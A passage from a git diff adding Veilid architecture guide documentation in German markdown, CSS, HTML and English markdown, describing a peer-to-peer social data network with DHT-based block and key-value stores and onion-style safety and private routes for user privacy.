in dem er den Nächsten als Erstes fragt, bis er entweder die gewünschte Dail Info findet oder das gesamte Netzwerk durchsucht hat oder den Vorgang abbricht. + +### Benutzerprivatsphäre +Um sicherzustellen, dass Benutzer mit ein gewissen Maß an Privatsphäre in Veilid teilnehmen können, muss man sich um die Herausforderung kümmern, dass wenn man sich mit Veilid verbindet folglich auch mit anderen Nodes kommuniziert und somit IP Adressen teilt. Der Peer eines Benutzers wird deshalb regelmäßig RPC-Aufrufe erstellen, die die Identifikationsinformationen des Benutzer mit den IDs seiner Peers in Zusammenhang bringt. Veilid ermöglicht Privatsphäre durch die Nutzung einer RPC-Weiterleitungsmechanismus, der Kryptographie vergleichbar mit so genanntem "Onion Routing" nutzt. Hierbei wird der Kommunikationspfad zwischen dem tatsächlich ursprünglichen sendenden Peer und des schlussendlich final empfangenden Peer versteckt, in dem man über mehrere dazwischen liegenden Peers springt. + +Der spezifisches Ansatz den Veilid bezüglich Privatsphäre hat ist zweiseitig: Privatsphäre des Senders und Privatsphäre des Empfängers. Jeweils einer oder beide könnten sich Privatsphäre wünschen oder für sich ausschließen. Um die Privatsphäre des Sender sicherzustellen nutzt Veilid etwas das sich „Safety Route" nennt: Eine Sequenz Peers beliebiger Größer, die durch den Sender ausgewählt wird, der die Nachricht sendet. Die Sequenz von Adressen werden (wie bei einer Matryoshka Puppe) verschlüsselt ineinander geschachtelt, so dass jeder Hop den Vorherigen und den Nächsten sehen kann, aber kein Hop die gesamte Route sehen kann. Dies ist ähnliche zu einer TOR (The Onion Router) Route, mit dem Unterschied, dass nur die Adressen für jeden Hop verschlüsselt sind. Die Route kann für jede Nachricht, die geschickt wird, zufällig gewählt werden. + +Die Privatsphäre des Empfängers ist sofern ähnlich als das es dort auch eine Schachtelung von verschlüsselten Adressen gibt, aber mit dem Unterschied, dass die verschiedenen Adressen vorab geteilt worden sein müssen, weil es um eingehende Nachrichten geht. Diese werden „Private Routen“ genannt und sie werden als Teil der öffentlichen Daten eine Benutzers im KV Speicher veröffentlicht. Um volle Privatsphäre an beiden Enden sicherzustellen, wird eine Private Route als endgültiges Ziel einer Safety Route genutzt und die gesamt Route ist die Zusammensetzung aus beiden, so dass weder der Sender noch der Empfänger die IP adressiere des Anderen wissen. + +Jeder Peer im Hop (einschließlich des initialen Peers) sendet einen "route" RPC Aufruf an den nächsten Peer im Hop, mit dem Rest der Gesamtroute (safety + private), die mit den Daten in der Kette weitergereicht wird. Der letzte Peer entschlüsselt den Rest der Route, die dann leer ist und kann sich dann den weitergeleiteten RPC ansehen und dann entsprechend diesem handeln. Der RPC selber muss nicht verschlüsselt sein, aber es ist gute Praxis diesen für den finalen Peer zu verschlüsseln, so dass die Peers dazwischen den User nicht durch Analyse des Datenverkehrs de-anonymisieren können. + +Nimm bitte zur Kenntnis, dass die Routen benutzerorientiert sind. Sie sollten so verstanden werden, dass sie einen Möglichkeit darstellen mit einem bestimmten Benutzer-Peer zu sprechen, wo auch immer dieser ist. Jeder Peer in dieser Abfolge muss die tatsächlichen IP Adressen der Peers wissen, sonst können sie nicht kommunizieren. Aber die Savety und die Private Routes machen es schwer die Identität des Benutzer mit der Identität seiner Peers zusammenzubringen. Du weißt nur, dass der Nutzer irgendwo im Netzwerk ist, aber Du weißt nicht welche seine Adresse ist, auch wenn Du die Dail Infos seiner Peers in der Routing Tabelle gespeichert hast. + +### Block Speicher im Detail + +Wie bereits in der Vogelperspektive erwähnt ist es das Ziel des Blockspeichers inhaltsadressierbare Blocks von Daten zu speichern. Wie viele andere Peer to Peer Systeme zum Speichern von Daten nutzt auch Veilid verteilte Hash Tabellen (DHTs) als Kern des Block Speichers. Die Blockspeicher DHT hat als Schlüssel BLAKE3 Prüfsummen der Block Inhalte. Für jeden Schlüssel hält die DHT eine Liste von Peer IDs vor, die im Netzwerk deklariert wurden, dass sie den Block bereitstellen können. + +Wenn ein Peer den Block bereitstellen möchte, dann macht einer einen "supply_block" RPC Aufruf mit der ID des Blocks in das Netzwerk. Der Empfänger des Calls kann dann die Informationen speichern, die der Peer bezüglich des vorgesehenen Block bereitstellt (wenn er will). Er kann auch andere Peers zurückgeben, die näher an der Block ID dran sind, die auch die Information speichern sollte. Die Peers stellen abhängig davon wie nah sie an der Block ID sind fest, ob sie die Information speichern oder nicht. Es kann auch entscheiden werden den Block zwischenzuspeichern, um sich selbst als Anbieter zu deklarieren. + +So bereitgestellte Datensätze sind möglicherweise vergänglich, weil Peers das Netzwerk verlassen und somit ihre Informationen nicht mehr verfügbar sind. Deswegen wird jeder Peer, der einen Block bereitstellen will regelmäßig "supply_block" Nachrichten senden, um den Datensatz aktuell zu halten. Peers, die den Block zwischenspeichern, entscheiden an Hand der Popularität, des Speicherplatzes, der Bandbreite usw., die er übrig hat, wann das Zwischenspeichern endet. + +Um einen Block zu empfangen, der im Block Speicher gespeichert wurde, sendet ein Peer den "find_block" RPC Aufruf. Der Empfänger wird dann entweder den Block zurücksenden oder möglicherweise auch eine Liste von Anbietern für den Block zurücksenden, die er kennt oder er liefert eine Liste von Peers zurück, die näher an dem Block liegen als er selbst. + +Anders als bei BitTorrent sind Blocks nicht zwangsläufig Teil einer größeren Datei. Ein Block kann einfach eine einzelne Datei sein und dies wird oft der Fall für kleine Dateien sein. Größere Dateien können in kleinere Blocks aufgeteilt werden. In diesem Fall wird eine zusätzlicher Block mit einer Liste aus Block-Komponenten im Block Speicher gespeichert. Veilid selbst wird diese Block wie alle anderen Blocks behandeln und es gibt keinen eingebauten Mechanismus der festlegt, welchen Block man als erstes heruntergeladen oder teilen muss usw. (wie es sie bei BitTorrent gibt). Solche Features wäre dann abhängig von der Peer Software zu implementieren und können variieren. Verschiedene Clients werden auch die Möglichkeit haben zu entscheiden wie sie solche Block-Komponenten herunterladen wollen (z.B. automatisch, auf Eingabe des User oder etwas Anderes). + +Der Mechanismus (Blocks zu haben die auf andere Blocks verweisen) ermöglicht es auch die Nutzung von IPFS-artige DAGs mit hierarchischen Daten als einen möglichen Modus. Somit können ganze Verzeichnisstrukturen gespeichert werden (und nicht nur Dateien). Allerdings ist das (genau so wie die Subfile Blocks) kein eingebauter Teil von Veilid, sondern eher ein möglicher Verwendungsmodus. Wie sie dem Benutzer heruntergeladen und dargestellt werden, obliegt dem Client Programm. + +### Key-Value Speicher im Detail + +Der Key-Value Speicher ist eine DHT (ähnlich wie der Block Store). Allerdings statt inhaltsbezogener Hashes als Schlüssel, nutzt der KV Speicher Benutzer-IDs als Schlüssel (Achtung: _NICHT_ Peer IDs). Für einen gegebenen Key hat der KV Speicher eine hierarchische Key-Value Map, die im Prinzip beliebige Strings mit Werten verknüpft, die selber wiederum Nummern, Zeichenketten, ein Datum, Uhrzeiten oder andere Key-Value Maps sein können. Der spezifische Wert, der an einer ID des Users gespeichert wird, ist versioniert, so dass man bestimmte Schemata von Unterschlüsseln und Werten definieren kann, die dann entsprechend der unterschiedlichen Versionen vom Client anders behandelt werden. + +Wenn ein Nutzer wünscht Daten im Bezug auf ihren Schlüssel zu speichern, dann senden sie einen "set_value" RPC Aufruf an die Peers deren IDs am nächsten gemäß XOR Metric zu Ihrer eigenen ID liegen. Der Wert der dem RPC Aufruf mitgegeben wird ist ein Einzelwert, so dass das Netzwerk sicherstellen kann, dass nur der vorgesehene Nutzer Daten in seinem Key speichert. Die Peers, die den RPC Aufruf empfangen, können andere Peer IDs näher am Key zurückliefern (und so weiter), ähnlich wie auch beim den "supply_block" calls des Block Speichers. Am Ende werden einige Peers die Daten speichern. Der Peer des Users sollte regelmäßig die gespeicherten Daten aktualisieren, um sicher zu gehen, dass sie dauerhaft gespeichert bleiben. Es ist auch gute Praxis für den eigenen Peer des Benutzers, dass er seine eigene Daten in einem Cache (Zwischenspeicher) vorhält, so dass Client Programme den Peer des eigenen Benutzer als autorisierte Quelle der aktuellsten Daten verwenden kann. Hierfür ist es aber notwendig eine Route zu veröffentlichen, die es erlaubt das andere Peers dem eigenen Peer des Benutzers Nachrichten schicken. Eine private Route reicht hierfür aus. + +Der Abruf ist ähnlich wie der Abruf beim Block Store. Der gewünschte Key wird über eine "get_value" Call bereit gestellt, der einen Wert zurückliefern kann (oder eine Liste von Peers die näher am Key liegen). Am Ende werden die signieren Daten zurückgeliefert und der Empfänger kann verifizieren, dass diese tatsächlich dem spezifizierten Benutzer gehören in dem man die Signatur prüft. + +Beim Speichern und Abrufen von Daten ist es nicht notwendig, dass der im RPC Aufruf bereitgestellte Key ausschließlich die Benutzer ID sein muss. Er kann eine Liste von Zeichenketten beinhalten, die als Pfad zu gespeicherten Daten beim Benutzer Key diene, um damit spezifische Updates oder Abrufe durchzuführen. Dadurch wird der Datenverkehr im Netzwerk minimiert, weil nur die jeweils relevante Information umherbewegt wird. + +Der spezifische Inhalt des Benutzers Keys wird über das Protokoll bestimmt und im Besonderen von der Client Software. Frühe Versionen des Protokolls nutzen eine DHT-Schema-Version, die ein sehr einfaches Social-Network-orientiertes Schema definiert. Später Versionen werden mehr ein generischeres Schema ermöglichen, so dass Client Plug-ins reichhaltiger Informationen speichern und darstellen können. + +Die zustandsbehaftete Natur des Key Value Speichers bedeutet, dass sich Werte mit der Zeit ändern werden und es müssen Maßnahmen ergriffen werden, um auch auf diese Veränderungen zu reagieren. Ein Abfragemechanismus könnte verwendet werden, um regelmäßig abzufragen, ob neue Werte vorliegen, aber das wird zu einer Menge unnötigem Datenverkehrs im Netzwerk führen. Um das zu vermeiden erlaubt es Veilid, dass Peer einen "watch_value" RPC Aufruf senden, der einen DHT Key (mit Unterkeys) als Argument enthält. Der Empfänger würde dann einen Datensatz speichern, dass der Sender des RPC benachrichtigt werden möchte, wenn der Empfänger nachfolgend einen "set_value" RPC Aufruf erhält. In diesem Fall sendet der Empfänger dem sendenden Peer einen "value_changed" RPC Aufruf um ihm den neuen Wert zu übermitteln. Wie auch bei andere RPC Calls, muss auch "watch_value" regelmäßig neu gesendet werden, um das "Abonnement" für den Wert zu verlängern. Zusätzlich kann er Peers näher am Key zurückgegeben oder andere Peers die erfolgreich abonniert haben und so mit auch als Quelle dienen können. + +TODO: Wie vermeidet man das Replay Updates? Vielleicht über eine Sequenznummer einem signierten Patch? + + +## Anhang 1: Dial Info und Signaling + +## Anhang 2: RPC Listing diff --git a/doc/guide/guide.css b/doc/guide/guide.css new file mode 100644 index 00000000..c583a4bf --- /dev/null +++ b/doc/guide/guide.css @@ -0,0 +1,28 @@ +* { + font-family: sans-serif; +} + +body { + display: flex; + justify-content: center; +} + +#content { + width: 500px; + background-color: #eeeeee; + padding: 5px; +} + +.section-toc, .subsection-toc { + list-style: none; +} + +.section-name { + font-weight: 600; + margin-bottom: 5px; +} + +code { + font-family: monospace; + font-weight: bold; +} diff --git a/doc/guide/guide.html b/doc/guide/guide.html new file mode 100644 index 00000000..b2f641b2 --- /dev/null +++ b/doc/guide/guide.html @@ -0,0 +1,255 @@ + + + + + + + Veilid Architecture Guide + + + + + +
+ +
+ early α docs
+ please don't share publicly +
+ +

Veilid Architecture Guide

+ +
+ + + +
+ +

From Orbit

+ +

+ The first matter to address is the question "What is Veilid?" The highest-level description is that Veilid is a peer-to-peer network for easily sharing various kinds of data. +

+ +

+ Veilid is designed with a social dimension in mind, so that each user can have their personal content stored on the network, but also can share that content with other people of their choosing, or with the entire world if they want. +

+ +

+ The primary purpose of the Veilid network is to provide the infrastructure for a specific kind of shared data: social media in various forms. That includes light-weight content such as Twitter's tweets or Mastodon's toots, medium-weight content like images and songs, and heavy-weight content like videos. Meta-content such as personal feeds, replies, private messages, and so forth are also intended to run atop Veilid. +

+ +
+ +

Bird's Eye View

+ +

+ Now that we know what Veilid is and what we intend to put on it, the second order of business is to address the parts of the question of how Veilid achieves that. Not at a very detailed level, of course, that will come later, but rather at a middle level of detail such that all of it can fit in your head at the same time. +

+ +

Peer Network for Data Storage

+ +

+ The bottom-most level of Veilid is a network of peers communicating to one another over the internet. Peers send each other messages (remote procedure calls) about the data being stored on the network, and also messages about the network itself. For instance, one peer might ask another for some file, or it might ask for info about what other peers exist in the network. +

+ +

+ The data stored in the network is segmented into two kinds of data: file-like data, which typically is large, and textual data, which typically is small. Each kind of data is stored in its own subsystem specifically chosen to optimize for that kind of data. +

+ +

Block Store

+ +

+ File-like content is stored in a content-addressable block store. Each block is just some arbitrary blob of data (for instance, a JPEG or an MP4) of whatever size. The hash of that block acts as the unique identifier for the block, and can be used by peers to request particular blocks. Technically, textual data can be stored as a block as well, and this is expected to be done when the textual data is thought of as a document or file of some sort. +

+ +

Key-Value Store

+ +

+ Smaller, more ephemeral textual content generally, however, is stored in a key-value-store (KV store). Things like status updates, blog posts, user bios, etc. are all thought of as being suited for storage in this part of the data store. KV store data is not simply "on the Veilid network", but also owned/controlled by users, and identified by an arbitrary name chosen by the owner the data. Any group of users can add data, but can only change the data they've added. +

+ +

+ For instance, we might talk about Boone's bio vs. Boone's blogpost titled "Hi, I'm Boone!", which are two things owned by the same user but with different identifiers, or on Boone's bio vs. Marquette's bio, which are two things owned by distinct users but with the same identifier. +

+ +

+ KV store data is also stateful, so that updates to it can be made. Boone's bio, for instance, would not be fixed in time, but rather is likely to vary over time as he changes jobs, picks up new hobbies, etc. Statefulness, together with arbitrary user-chosen identifiers instead of content hashes, means that we can talk about "Boone's Bio" as an abstract thing, and subscribe to updates to it. +

+ +

Structuring Data

+ +

+ The combination of block storage and key-value storage together makes it possible to have higher-level concepts as well. A song, for instance, might be represented in two places in Veilid: the block store would hold the raw data, while the KV store would store a representation of the idea of the song. Maybe that would consist of a JSON object with metadata about the song, like the title, composer, date, encoding information, etc. as well as the ID of the block store data. We can then also store different versions of that JSON data, as the piece is updated, upsampled, remastered, or whatever, each one pointing to a different block in the block store. It's still "the same song", at a conceptual level, so it has the same identifier in the KV store, but the raw bits associated with each version differ. +

+ +

+ Another example of this, but with even more tenuous connection between the block store data, is the notion of a profile picture. "Marquette's Profile Picture" is a really abstracted notion, and precisely which bits it corresponds to can vary wildly over time, not just being different versions of the picture but completely different pictures entirely. Maybe one day it's a photo of Marquette and the next day it's a photo of a flower. +

+ +

+ Social media offers many examples of these concepts. Friends lists, block lists, post indexes, favorites. These are all stateful notions, in a sense: a stable reference to a thing, but the precise content of the thing changes over time. These are exactly what we would put in the KV store, as opposed to in the block store, even if this data makes reference to content in the block store. +

+ +

Peer and User Identity

+ +

+ Two notions of identity are at play in the above network: peer identity and user identity. Peer identity is simple enough: each peer has a cryptographic key pair that it uses to communicate securely with other peers, both through traditional encrypted communication, and also through the various encrypted routes. Peer identity is just the identity of the particular instance of the Veilid software running on a computer. +

+ +

+ User identity is a slightly richer notion. Users, that is to say, people, will want to access the Veilid network in a way that has a consistent identity across devices and apps. But since Veilid doesn't have servers in any traditional sense, we can't have a normal notion of "account". Doing so would also introduce points of centralization, which federated systems have shown to be a source of trouble. Many Mastodon users have found themselves in a tricky situation when their instance sysadmins burned out and suddenly shut down the instance without enough warning. +

+ +

+ To avoid this re-centralization of identity, we use cryptographic identity for users as well. The user's key pair is used to sign and encrypt their content as needed for publication to the data store. A user is said to be "logged in" to a client app whenever that app has a copy of their private key. When logged in a client app act like any other of the user's client apps, able to decrypt and encrypt content, sign messages, and so forth. Keys can be added to new apps to sign in on them, allowing the user to have any number of clients they want, on any number of devices they want. +

+ +
+ +

On The Ground

+ +

+ The bird's eye view of things makes it possible to hold it all in mind at once, but leaves out lots of information about implementation choice. It's now time to come down to earth and get our hands dirty. In principl, this should be enough information to implement a system very much like Veilid, with the exception perhaps of the specific details of the APIs and data formats. This section won't have code, it's not documentation of the codebase, but rather is intended to form the meat of a whitepaper. +

+ +

Peer Network, Revisited

+ +

+ First, let's look at the peer network, since its structure forms the basis for the remainder of the data storage approach. Veilid's peer network is similar to other peer-to-peer systems in that it's overlaid on top of other protocols. Veilid tries to be somewhat protocol-agnostic, however, and currently is designed to use TCP, UDP, WebSockets, and WebRTC, as well as various methods of traversing NATs so that Veilid peers can be smartphones, personal computers on hostile ISPs, etc. To facilitate this, peers are identified not by some network identity like an IP address, but instead by peer-chosen cryptographic key-pairs. Each peer also advertises a variety of options for how to communicate with it, called dial info, and when one peer wants to talk to another, it gets the dial info for that peer from the network and then uses it to communicate. +

+ +

+ When a peer first connects to Veilid, it does so by contacting bootstrap peers, which have simple IP address dial info that is guaranteed to be stable by the maintainers of the network. These bootstrap peers are the first entries in the peer's routing table -- an address book of sorts, which it uses to figure out how to talk to a peer. The routing table consists of a mapping from peer public keys to prioritized choices for dial info. To populate the routing table, the peer asks other peers what its neighbors are in the network. The notion of neighbor here is defined by a similarity metric on peer IDs, in particular an XOR metric like many DHTs use. Over the course of interacting with the network, the peer will keep dial info up to date when it detects changes. It may also add dial info for peers it discovers along the way, depending on the peer ID. +

+ +

+ To talk to a specific peer, its dial info is looked up in the routing table. If there is dial info present, then the options are attempted in order of the priority specified in the routing table. Otherwise, the peer has to request the dial info from the network, so it looks through its routing table to find the peer who's ID is nearest the target peer according to the XOR metric, and sends it an RPC call with a procedure named find_node. Given any particular peer ID, the receiver of a find_node call returns dial info for the peers in its routing table that are nearest the given ID. This gets the peer closer to its destination, at least in the direction of the other peer it asked. If the desired peer's information was in the result of the call, then it's done, otherwise it calls find_node again to get closer. It iterates in this way, possibly trying alternate peers, as necessary, in a nearest-first fashion until it either finds the desire'd peer's dial info, has exhausted the entire network, or gives up. +

+ +

User Privacy

+ +

+ In order to ensure that users can participate in Veilid with some amount of privacy, we need to address the fact that being connected to Veilid entails communicating with other peers, and therefore sharing IP addresses. A user's peer will therefore be frequently issuing RPCs in a way that directly associates the user's identifying information with their peer's ID. Veilid provides privacy by allowing the use of an RPC forwarding mechanism that uses cryptography to similar to onion routing in order to hide the path that a message takes between its actual originating peer and its actual destination peer, by hopping between additional intermediate peers. +

+ +

+ The specific approach that Veilid takes to privacy is two sided: privacy of the sender of a message, and privacy of the receiver of a message. Either or both sides can want privacy or opt out of privacy. To achieve sender privacy, Veilid use something called a Safety Route: a sequence of any number of peers, chosen by the sender, who will forward messages. The sequence of addresses is put into a nesting doll of encryption, so that each hop can see the previous and next hops, while no hop can see the whole route. This is similar to a Tor route, except only the addresses are encrypted for each hop. The route can be chosen at random for each message being sent. +

+ +

+ Receiver privacy is similar, in that we have a nesting doll of encrypted peer addresses, except because it's for incoming messages, the various addresses have to be shared ahead of time. We call such things Private Routes, and they are published to the key-value store as part of a user's public data. For full privacy on both ends, a Private Route will be used as the final destination of a Safety Route, and the total route is the composition of the two, so that neither the sender nor receiver knows the IP address of the other. +

+ +

+ Each peer in the hop, including the initial peer, sends a route RPC to the next peer in the hop, with the remainder of the full route (safety + private), forwarding the data along. The final peer decrypts the remainder of the route, which is now empty, and then can inspect the forwarded RPC to act on it. The RPC itself doesn't need to be encrypted, but it's good practice to encrypt it for the final receiving peer so that the intermediate peers can't de-anonymize the sending user from traffic analysis. +

+ +

+ Note that the routes are user oriented. They should be understood as a way to talk to a particular user's peer, wherever that may be. Each peer of course has to know about the actual IP addresses of the peers, otherwise it couldn't communicate, but safety and private routes make it hard to associate the user's identity with their peer's identity. You know that the user is somewhere on the network, but you don't know which IP address is their's, even if you do in fact have their peer's dial info stored in the routing table. +

+ +

Block Store Revisited

+ +

+ As mentioned in the Bird's Eye View, the block store is intended to store content-addressed blocks of data. Like many other peer-to-peer systems for storing data, Veilid uses a distributed hash table as the core of the block store. The block store DHT has as keys BLAKE3 hashes of block content. For each key the DHT associates a list of peer IDs for peers that have declared to the network that they can supply the block. +

+ +

+ If a peer wishes to supply the block, it makes a supply_block RPC call to the network with the id of the block. The receiver of the call can then store the information that the peer supplies the designated block if it wants, and also can return other peers nearer to the block's ID that should also store the information. Peers determine whether or not to store this information based on how close it is to the block's ID. It may also choose to cache the block, possibly also declaring itself to be a supplier as well. +

+ +

+ Supplier records are potentially brittle because peers leave the network, making their information unavailable. Because of this, any peer that wishes to supply a block will periodically send supply_block messages to refresh the records. Peers that are caching blocks determine when to stop caching based on how popular a block is, how much space or bandwidth it can spare, etc. +

+ +

+ To retrieve a block that has been stored in the blockstore, a peer makes a find_block RPC. The receiver will then either return the block, or possibly return a list of suppliers for the block that it knows about, or return a list of peers that are closer to the block. +

+ +

+ Unlike BitTorrent, blocks are not inherently part of a larger file. A block can be just a single file, and often that will be the case for small files. Large files can be broken up into smaller blocks, however, and then an additional block with a list of those component blocks can be stored in the block store. Veilid itself, however, would treat this like any other block, and there are no built-in mechanisms for determining which blocks to download first, which to share first, etc. like there are in BitTorrent. These features would be dependent on the peer software's implementation and could vary. Different clients will also be able to decide how they want to download such "compound" blocks -- automatically, via a prompt to the user, or something else. +

+ +

+ The mechanism of having blocks that refer to other blocks also enables IPFS-style DAGs of hierarchical data as one mode of use of the block store, allowing entire directory structures to be stored, not just files. However, as with sub-file blocks, this is not a built-in part of Veilid but rather a mode of use, and how they're downloaded and presented to the user is up to the client program. +

+ +

Key-Value Store, Revisited

+ +

+ The key-value store is a DHT similar to the block store. However, rather than using content hashes as keys, the KV store uses user IDs as keys (note: not peer IDs). At a given key, the KV store has a hierarchical key-value map that associates in-principle arbitrary strings with values, which themselves can be numbers, strings, datetimes, or other key-value maps. The specific value stored in at a user's ID is versioned, so that particular schemas of subkeys and values can be defined and handled appropriately by different versions of clients. +

+ +

+ When a user wishes to store data under their key, they send a set_value RPC to the peer's whose IDs are closest by the XOR metric to their own user ID. The value provided to the RPC is a signed value, so that the network can ensure only the designated user is storing data at their key. The peers that receive the RPC may return other peer IDs closer to the key, and so on, similar to how the block store handles supply_block calls. Eventually, some peers will store the data. The user's own peer should periodically refresh the stored data, to ensure that it persists. It's also good practice for the user's own peer to cache the data, so that client programs can use the user's own peer as a canonical source of the most-up-to-date value, but doing so would require a route to be published that lets other peers send the user's own peer messages. A private route suffices for this. +

+ +

+ Retrieval is similar to block store retrieval. The desired key is provided to a get_value call, which may return th value, or a list of other peers that are closer to the key. Eventually the signed data is returned, and the recipient can verify that it does indeed belong to the specified user by checking the signature. +

+ +

+ When storing and retrieving, the key provided to the RPCs is not required to be only the user's ID. It can include a list of strings which act as a path into the data stored at the user's key, targetting it specifically for update or retrieval. This lets the network minimize data transfer, because only the relevant information has to move around. +

+ +

+ The specific content of the user's keys is determined partially by the protocol and partially by the client software. Early versions of the protocol use a DHT schema version that defines a fairly simple social network oriented schema. Later versions will enable a more generic schema so that client plugins can store and display richer information. +

+ +

+ The stateful nature of the key-value store means that values will change over time, and actions may need to be taken in response to those changes. A polling mechanism could be used to periodically check for new values, but this will lead to lots of unnecessary traffic in the network, so to avoid this, Veilid allows peers to send watch_value RPCs, with a DHT key (with subkeys) as its argument. The receiver would then store a record that the sender of the RPC wants to be alerted when the receiver gets subsequent set_value calls, at which time the receiver sends the sending peer a value_changed RPC to push the new value. As with other RPC calls, watch_value needs to be periodically re-sent to refresh the subscription to the value. Additionally, also as with other calls, watch_value may not succeed on the receiver, which instead might return other peers closer to the value, or might return other peers that have successfully subscribed to the value and thus might act as a source for it. +

+ +

+ TODO How to avoid replay updates?? maybe via a sequence number in the signed patch? +

+ +

Appendix 1: Dial Info and Signaling

+ +

Appendix 2: RPC Listing

+ + diff --git a/doc/guide/guide.md b/doc/guide/guide.md new file mode 100644 index 00000000..6c5d63b8 --- /dev/null +++ b/doc/guide/guide.md @@ -0,0 +1,126 @@ +# early α docs + +# please don't share publicly + +# Veilid Architecture Guide + +- [From Orbit](#from-orbit) +- [Bird's Eye View](#birds-eye-view) + - [Peer Network for Data Storage](#peer-network-for-data-storage) + - [Block Store](#block-store) + - [Key-Value Store](#key-value-store) + - [Structuring Data](#structuring-data) + - [Peer and User Identity](#peer-and-user-identity) +- [On The Ground](#on-the-ground) + - [Peer Network, Revisited](#peer-network-revisited) + - [User Privacy](#user-privacy) + - [Block Store, Revisited](#block-store-revisited) + - [Key-Value Store, Revisited](#key-value-store-revisited) + +## From Orbit + +The first matter to address is the question "What is Veilid?" The highest-level description is that Veilid is a peer-to-peer network for easily sharing various kinds of data. + +Veilid is designed with a social dimension in mind, so that each user can have their personal content stored on the network, but also can share that content with other people of their choosing, or with the entire world if they want. + +The primary purpose of the Veilid network is to provide the infrastructure for a specific kind of shared data: social media in various forms. That includes light-weight content such as Twitter's tweets or Mastodon's toots, medium-weight content like images and songs, and heavy-weight content like videos. Meta-content such as personal feeds, replies, private messages, and so forth are also intended to run atop Veilid. + +* * * + +## Bird's Eye View + +Now that we know what Veilid is and what we intend to put on it, the second order of business is to address the parts of the question of how Veilid achieves that. Not at a very detailed level, of course, that will come later, but rather at a middle level of detail such that all of it can fit in your head at the same time. + +### Peer Network for Data Storage + +The bottom-most level of Veilid is a network of peers communicating to one another over the internet. Peers send each other messages (remote procedure calls) about the data being stored on the network, and also messages about the network itself. For instance, one peer might ask another for some file, or it might ask for info about what other peers exist in the network. + +The data stored in the network is segmented into two kinds of data: file-like data, which typically is large, and textual data, which typically is small. Each kind of data is stored in its own subsystem specifically chosen to optimize for that kind of data. + +### Block Store + +File-like content is stored in a content-addressable block store. Each block is just some arbitrary blob of data (for instance, a JPEG or an MP4) of whatever size. The hash of that block acts as the unique identifier for the block, and can be used by peers to request particular blocks. Technically, textual data can be stored as a block as well, and this is expected to be done when the textual data is thought of as a document or file of some sort. + +### Key-Value Store + +Smaller, more ephemeral textual content generally, however, is stored in a key-value-store (KV store). Things like status updates, blog posts, user bios, etc. are all thought of as being suited for storage in this part of the data store. KV store data is not simply "on the Veilid network", but also owned/controlled by users, and identified by an arbitrary name chosen by the owner the data. Any group of users can add data, but can only change the data they've added. + +For instance, we might talk about Boone's bio vs. Boone's blogpost titled "Hi, I'm Boone!", which are two things owned by the same user but with different identifiers, or on Boone's bio vs. Marquette's bio, which are two things owned by distinct users but with the same identifier. + +KV store data is also stateful, so that updates to it can be made. Boone's bio, for instance, would not be fixed in time, but rather is likely to vary over time as he changes jobs, picks up new hobbies, etc. Statefulness, together with arbitrary user-chosen identifiers instead of content hashes, means that we can talk about "Boone's Bio" as an abstract thing, and subscribe to updates to it. + +### Structuring Data + +The combination of block storage and key-value storage together makes it possible to have higher-level concepts as well. A song, for instance, might be represented in two places in Veilid: the block store would hold the raw data, while the KV store would store a representation of the idea of the song. Maybe that would consist of a JSON object with metadata about the song, like the title, composer, date, encoding information, etc. as well as the ID of the block store data. We can then also store different _versions_ of that JSON data, as the piece is updated, upsampled, remastered, or whatever, each one pointing to a different block in the block store. It's still "the same song", at a conceptual level, so it has the same identifier in the KV store, but the raw bits associated with each version differ. + +Another example of this, but with even more tenuous connection between the block store data, is the notion of a profile picture. "Marquette's Profile Picture" is a really abstracted notion, and precisely which bits it corresponds to can vary wildly over time, not just being different versions of the picture but completely different pictures entirely. Maybe one day it's a photo of Marquette and the next day it's a photo of a flower. + +Social media offers many examples of these concepts. Friends lists, block lists, post indexes, favorites. These are all stateful notions, in a sense: a stable reference to a thing, but the precise content of the thing changes over time. These are exactly what we would put in the KV store, as opposed to in the block store, even if this data makes reference to content in the block store. + +### Peer and User Identity + +Two notions of identity are at play in the above network: peer identity and user identity. Peer identity is simple enough: each peer has a cryptographic key pair that it uses to communicate securely with other peers, both through traditional encrypted communication, and also through the various encrypted routes. Peer identity is just the identity of the particular instance of the Veilid software running on a computer. + +User identity is a slightly richer notion. Users, that is to say, _people_, will want to access the Veilid network in a way that has a consistent identity across devices and apps. But since Veilid doesn't have servers in any traditional sense, we can't have a normal notion of "account". Doing so would also introduce points of centralization, which federated systems have shown to be a source of trouble. Many Mastodon users have found themselves in a tricky situation when their instance sysadmins burned out and suddenly shut down the instance without enough warning. + +To avoid this re-centralization of identity, we use cryptographic identity for users as well. The user's key pair is used to sign and encrypt their content as needed for publication to the data store. A user is said to be "logged in" to a client app whenever that app has a copy of their private key. When logged in a client app act like any other of the user's client apps, able to decrypt and encrypt content, sign messages, and so forth. Keys can be added to new apps to sign in on them, allowing the user to have any number of clients they want, on any number of devices they want. + +* * * + +## On The Ground + +The bird's eye view of things makes it possible to hold it all in mind at once, but leaves out lots of information about implementation choice. It's now time to come down to earth and get our hands dirty. In principl, this should be enough information to implement a system very much like Veilid, with the exception perhaps of the specific details of the APIs and data formats. This section won't have code, it's not documentation of the codebase, but rather is intended to form the meat of a whitepaper. + +### Peer Network, Revisited + +First, let's look at the peer network, since its structure forms the basis for the remainder of the data storage approach. Veilid's peer network is similar to other peer-to-peer systems in that it's overlaid on top of other protocols. Veilid tries to be somewhat protocol-agnostic, however, and currently is designed to use TCP, UDP, WebSockets, and WebRTC, as well as various methods of traversing NATs so that Veilid peers can be smartphones, personal computers on hostile ISPs, etc. To facilitate this, peers are identified not by some network identity like an IP address, but instead by peer-chosen cryptographic key-pairs. Each peer also advertises a variety of options for how to communicate with it, called dial info, and when one peer wants to talk to another, it gets the dial info for that peer from the network and then uses it to communicate. + +When a peer first connects to Veilid, it does so by contacting bootstrap peers, which have simple IP address dial info that is guaranteed to be stable by the maintainers of the network. These bootstrap peers are the first entries in the peer's routing table -- an address book of sorts, which it uses to figure out how to talk to a peer. The routing table consists of a mapping from peer public keys to prioritized choices for dial info. To populate the routing table, the peer asks other peers what its neighbors are in the network. The notion of neighbor here is defined by a similarity metric on peer IDs, in particular an XOR metric like many DHTs use. Over the course of interacting with the network, the peer will keep dial info up to date when it detects changes. It may also add dial info for peers it discovers along the way, depending on the peer ID. + +To talk to a specific peer, its dial info is looked up in the routing table. If there is dial info present, then the options are attempted in order of the priority specified in the routing table. Otherwise, the peer has to request the dial info from the network, so it looks through its routing table to find the peer who's ID is nearest the target peer according to the XOR metric, and sends it an RPC call with a procedure named `find_node`. Given any particular peer ID, the receiver of a `find_node` call returns dial info for the peers in its routing table that are nearest the given ID. This gets the peer closer to its destination, at least in the direction of the other peer it asked. If the desired peer's information was in the result of the call, 